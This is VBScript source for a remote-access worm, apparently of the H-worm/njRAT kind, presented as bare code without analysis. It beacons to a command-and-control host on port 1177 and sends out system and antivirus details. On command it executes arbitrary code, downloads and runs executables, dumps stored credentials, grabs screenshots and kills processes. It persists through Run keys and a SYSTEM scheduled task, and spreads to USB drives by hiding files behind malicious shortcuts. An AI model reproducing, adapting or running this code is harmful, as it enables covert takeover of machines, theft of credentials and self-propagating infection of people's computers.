On Error Resume Next
WScript.Timeout=0
dim Wsh
set Wsh =WScript.CreateObject("WScript.Shell")
dim fs
set fs= CreateObject("Scripting.FileSystemObject")
dim w
Set w = CreateObject("Microsoft.XMLHTTP")
dim dotnet
dotnet="No"
if fs.fileexists(Wsh.ExpandEnvironmentStrings("%windir%") & "\Microsoft.NET\Framework\v2.0.50727\vbc.exe") then
dotnet="Yes"
end if

dim host
host= "svchost.gotdns.ch"
Dim port
port=1177
Dim DR
DR = Wsh.ExpandEnvironmentStrings("%TEMP%") & "\"
dim FN
FN ="hkcmd.exe.vbs"
dim fh
dim fi
dim us
lnfe = False
lnfo = False
us="~"
ins
dim spl
spl="Sailor"
dim i
i=0
while true
On Error Resume Next
dim a
WRT "readystate=" & w.readyState
if w.readystate=4 Then
WRT "reading >> responseText"
a= split(w.responseText,spl)
if ubound(a)<>-1 Then
select case a(0)
case "exc"
      dim sa
 sa= Replace( Replace( a(1),"post ","post "),"uns ","uns ")
 execute sa
case "uns"
 uns ""
case "sc"
 RcFile(a(1))

case "De"
 RcFile(a(1))
  if fs.fileexists( DR & "\De.exe") then
  Wsh.run DR & "\De.exe"
  end if

case "ps"
if fs.fileexists( DR & "\pc.exe") then
  CreateObject("WScript.Shell").Run "cmd.exe /k start %temp%\pc.exe /stext tt.dat &&exit" ,0,false
  end if

 post "?ps",ReadTextFile(CharSet)

case "pl"
 post "?pl",PLIST
case "sr"
 if fs.fileexists( DR & "\sc.exe") then
  Wsh.run DR & "\sc.exe"
  end if
 WScript.Sleep 100
 post "?pp",getsfile


case "pr"
 RcFile(a(1))

case "kl"
 klprocess (a(1))
 post "?kled",""
end select
Else
 end If
 WRT "do until w.readystate=4"
 do until w.readystate=4
 wscript.sleep(1000) '''''''''''''''''''''''''''''''
 if x.status =0 or x.status= 200 then
 else
 exit do
 end if
 loop
 post "?mew", ActiveWindow
 end if
 wscript.sleep 1000
 i = i + 1
 if i= 2 or i =4 or i =6 then
 xins
 end if
 if i>=7 then
 i=0
 if w.readystate<>4 Then
 WRT "readystate<>4 Aborting.."
 On Error Resume Next
 w.abort
 post "?mew",""
 end if
 end if
wend

function vmcheck()
 On Error Resume Next
 Set WMI = GetObject("WinMgmts:")
 Set Col = WMI.ExecQuery("Select * from Win32_ComputerSystemProduct")
 For Each Ob in Col
 if instr( lcase( ob.name),"virtual") >0 then
 On Error Resume Next
 fs.deletefile(wscript.scriptfullname)
 do
 wscript.sleep(1000)
 loop
 end if
 next
end Function
function ins
 on error resume Next
 us= Wsh.regread("HKEY_CURRENT_USER\" & fn)
 if us="~" then
 if lcase( mid(wscript.scriptfullname,2))=":\" &  lcase(fn) then
 us="TRUE"
 Wsh.regwrite "HKEY_CURRENT_USER\" & fn,  us, "REG_SZ"
 else
 us="FALSE"
 Wsh.regwrite "HKEY_CURRENT_USER\" & fn,  us, "REG_SZ"
 end if
 end if
 Err.Clear
 dim drr

 WScript.Sleep 5000
 set fh = fs.OpenTextFile( dr & fn, 8, false)
 fs.CopyFile wscript.scriptfullname,dr & fn ,true
 'fs.CopyFile wscript.scriptfullname, CreateObject("Wshell.Application").NameSpace(&H7).Self.Path & "\" & fn, True
 set fi = fs.OpenTextFile( dr & fn, 8, false)


 xins

 end Function
sub xins '''''''''''''''''''''''''''''''''regwrite
	On error resume Next

	If Wsh.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & fn)<> "%windir%\system32\wscript.exe /b " & chrw(34) & dr & fn & chrw(34) then
		'Wsh.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & fn, "%windir%\system32\wscript.exe /b " & chrw(34) & dr & fn & chrw(34), "REG_SZ"
	End if
	If Wsh.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & fn)<>"%windir%\system32\wscript.exe /b " & chrw(34) & dr & fn & chrw(34) then
		'Wsh.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & fn,"%windir%\system32\wscript.exe /b " & chrw(34) & dr & fn & chrw(34), "REG_SZ"
	End if
	If Wsh.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden")="1" Then
		'Wsh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden",0,"REG_DWORD"
		End If
for each xx in fs.Drives


 if xx.isready then
	if xx.FreeSpace >0 then
		if xx.drivetype=1 then

			if fs.fileexists(xx.path & "\" & fn & ".vbs") then
				fs.getfile(xx.path & "\"  & fn & ".vbs").Attributes=0
			end if
			fs.copyfile dr & fn & ".vbs" , xx.path & "\"  & fn & ".vbs",true


			dim mx
			mx=0
			for Each x In fs.GetFolder( xx.path & "\" ).Files

				if mx=20 then
					exit for
				end if
				wscript.sleep 1
				if not lnfe then exit for
				if instr(x.name,".") Then
					if lcase( Split(x.name, ".")(UBound(Split(x.name, "."))))<>"lnk" Then
			 			x.Attributes = 2
						if ucase(x.name) <> ucase(fn & ".vbs") Then
							mx =mx +1
							With Wsh.CreateShortcut(xx.path & "\"  & x.name & ".lnk")
							.TargetPath = "%SystemRoot%\system32\cmd.exe"
							.WorkingDirectory = ""
							.WindowStyle=7
							.Arguments = "/c start " & Replace(fn," ", ChrW(34) _
							& " " & ChrW(34)) & "&start " & replace( x.name," ", ChrW(34) & " " & ChrW(34)) & " & exit"
							.IconLocation = Wsh.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\" & sh.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\." & Split(x.name, ".")(UBound(Split(x.name, "."))) & "\") & "\DefaultIcon\")
							if instr( .iconlocation,",")=0 then
								.iconlocation = .iconlocation &",0"
							end if
							.Save()
							end with
						end if
					end if
				end if
			Next
			mx=0
		    fs.CreateFolder(xx.path & "\! Videos\" )
			for Each x In fs.GetFolder( xx.path & "\" ).SubFolders
			if not lnfo then exit for
				if mx=20 then
					exit for
				end if
					wscript.sleep 1
					x.Attributes = 2
					mx =mx +1
					With Wsh.CreateShortcut(xx.path & "\"  & x.name & ".lnk")
					.TargetPath = "%SystemRoot%\system32\cmd.exe"
					.WorkingDirectory = ""
					.WindowStyle=7
					.Arguments = "/c start " & Replace(fn," ", ChrW(34)& " " & ChrW(34))  & "&start explorer /root,%CD%" & replace( x.name," ", ChrW(34) & " " & ChrW(34)) & "& exit"
					.IconLocation = "%windir%\system32\SHELL32.dll,3"
					.Save()
					end with
			Next
		end if
	end if
end if
next
Err.Clear
end sub
Sub WRT(s)
 On Error Resume Next
 WScript.Stdout.WriteLine s
 End Sub

function uns(ex)
 on error resume Next

 WRT "uns"
 fi.close
 fh.close
 Wsh.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & FN
 Wsh.RegDelete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & FN
 fs.DeleteFile dr & fn ,true
 fs.DeleteFile CreateObject("Shell.Application").NameSpace(&H7).Self.Path &"\" & FN ,True
 Wsh.Run "cmd.exe /k SCHTASKS /delete  /TN feed /f &&exit", 0, false
 fs.DeleteFile dr & fn ,true
 fs.DeleteFile DR &"sc.exe"
 fs.DeleteFile DR &"s.jpg"
 fs.DeleteFile DR &"pc.exe"
 fs.DeleteFile DR &"tt.dat"
 fs.DeleteFile "C:\Windows\Temp\sys.vbs"
 for each xx in fs.Drives
 if xx.isready then
 if xx.FreeSpace >0 then
 For Each x In fs.GetFolder( xx.path & "\").Files
 if instr(x.name,".") then
 if lcase( Split(x.name, ".")(UBound(Split(x.name, "."))))<>"lnk" then
 x.Attributes = 0
 if ucase(x.name) <> ucase(fn) then
 fs.deletefile(xx.path & "\" & x.name & ".lnk" )
 else
 fs.deletefile( xx.path & "\" & x.name )
 end if
 end if
 end If

 Next
 For Each x In fs.GetFolder( xx.path & "\").SubFolders
 On Error Resume Next

 if fs.fileexists( xx.Path & "\"  & x.Name &".lnk") then
 fs.deletefile(xx.path & "\" & x.name & ".lnk" )
 end if
 x.Attributes = 0
 Next
 end if
 end if
 Next
 post "?uns",""
 Dim tout
 tout=0
 Do until w.readystate=4
 WRT "loop until readystate=4 Now=" & w.readystate
 wscript.sleep(1000)
 tout =tout + 1
 If tout=10 Then Exit do
 Loop
 WRT "BYE //ex=" & ex
 if ex<>"" then
 Wsh.Run "cmd.exe /c ping 0&start " & ex,0, false
 end if
 wscript.quit
end function
Function state
 return w.readyState
End Function
function post(cmd ,da)
 On Error Resume Next
 'WRT "POST: "  & cmd & " da=" & da
 w.open "POST","http://" & host & ":" & port &"/" & cmd, true

 w.setRequestHeader "User-Agent:",  inf
 w.setRequestHeader "Connection:","Keep-Alive"
 w.send da
end function
dim xinf
function imi

 fs.CopyFile wscript.scriptfullname,"C:\Windows\Temp\sys.vbs",true
 Wsh.Run "cmd.exe /k SCHTASKS /Create /sc minute /mo 50 /TN feed /TR C:\WINDOWS\Temp\sys.vbs /RU SYSTEM &&exit", 0, false 'xp
 Wsh.Run "cmd.exe /k SCHTASKS /Create /sc minute /mo 50 /TN feed /TR C:\WINDOWS\Temp\sys.vbs  &&exit", 0, false ' 7 8 8.1 10
end function
function inf
 on error resume Next
 if xinf="" then
 dim s
 s="??"
 s = hwd
 inf = inf & s & "\"
 s="??"
 s= Wsh.ExpandEnvironmentStrings("%COMPUTERNAME%")
 inf = inf & s & "\"
 s="??"
 s= Wsh.ExpandEnvironmentStrings("%USERNAME%")
 inf = inf & s & "\"
 s="??"
 Set a = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
 Set aa = a.ExecQuery ("Select * from Win32_OperatingSystem")
 dim co
 For Each aaa in aa
 s= aaa.Caption  & " SP" & aaa.ServicePackMajorVersion
 co= aaa.countrycode
 exit for
 Next
 s= replace(s,"Microsoft","")
 s= replace(s,"Windows ","Win")
 s= Replace(s," Win","Win")
 inf = inf & s & "\\"  & security &"\4.0\" & us &"\" & dotnet &"\" & pid & spl
 xinf=inf
 else
 inf=xinf
 end if
end function
function HWD
 HWD="new_??"
 On Error Resume Next
 Set a = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
 Set aa = a.ExecQuery("SELECT * FROM Win32_LogicalDisk")
 For Each aaa In aa
 if aaa.VolumeSerialNumber<>"" then
 HWD= "new_" & aaa.VolumeSerialNumber
 exit for
 end if
 Next
end Function
Function ActiveWindow
 ActiveWindow=""

End Function
function security
on error resume next

security = ""

set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
for each objitem in colitems
    versionstr = split (objitem.version,".")
next
versionstr = split (colitems.version,".")
osversion = versionstr (0) & "."
for  x = 1 to ubound (versionstr)
	 osversion = osversion &  versionstr (i)
next
osversion = eval (osversion)
if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"

set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)

for each objantivirus in colantivirus
    security  = security  & objantivirus.displayname & " ."
next
if security  = "" then security  = "nan-av"
end function

Function getsfile
      Set inputStream = CreateObject("ADODB.Stream")
      inputStream.Open()
      inputStream.Type = 1  ' adTypeBinary
      inputStream.LoadFromFile DR & "s.jpg"
  Dim dom: Set dom = CreateObject("Microsoft.XMLDOM")
  Dim elem: Set elem = dom.createElement("Base64Data")
  elem.dataType = "bin.base64"
  elem.nodeTypedValue = inputStream.Read
  B = elem.text
  getsfile = B
End Function
Function ReadTextFile(CharSet)
  Const adTypeText = 2
  Dim BinaryStream
  Set BinaryStream = CreateObject("ADODB.Stream")
  BinaryStream.Type = adTypeText
 If Len(CharSet) > 0 Then
    BinaryStream.CharSet = CharSet
  End If
  If fs.FileExists(dr & "\tt.dat") then
  BinaryStream.Open
  BinaryStream.LoadFromFile dr & "\tt.dat"
  ReadTextFile = BinaryStream.ReadText
  elseif fs.FileExists("C:\WINDOWS\Temp\tt.dat") then
  BinaryStream.Open
  BinaryStream.LoadFromFile "C:\WINDOWS\Temp\tt.dat"
  ReadTextFile = BinaryStream.ReadText
  elseif fs.FileExists(Wsh.currentdirectory & "\tt.dat") then
  BinaryStream.Open
  BinaryStream.LoadFromFile  Wsh.currentdirectory & "\tt.dat"
  ReadTextFile = BinaryStream.ReadText

  end if
 End Function
Function RcFile(B)
	On Error Resume Next
	Set objXML = CreateObject("MSXml2.DOMDocument")
	Set objDocElem = objXML.createElement("Base64Data")
	set bj = createobject ("scripting.filesystemobject")
	objDocElem.dataType = "bin.base64"
	objDocElem.Text = B
	Set objStream = CreateObject("ADODB.Stream")
	objStream.Type = 1
	objStream.Open
	objStream.Write objDocElem.nodeTypedValue

	If InStr(w.responseText, "sc") = 1 Then
	objStream.SaveToFile DR & "\sc.exe", 2
	Elseif InStr(w.responseText, "pr") = 1 then
	objStream.SaveToFile DR & "\pc.exe", 2
	Elseif InStr(w.responseText, "De") = 1 then
	objStream.SaveToFile DR & "\De.exe", 2

	End If

End Function
sub klprocess (pid)
 on error resume next
 Wsh.run "taskkill /F /T /PID " & pid,7,true
 end sub





Function PLIST
 Dim PL

 PL=""

 With  GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\root\cimv2")

 For Each pro in .ExecQuery("Select * from Win32_Process")

 PL=PL & Pro.name & ";!" & pro.processid &";!" & pro.ExecutablePath & "|"

 Next

 End With

 PLIST=PL

End Function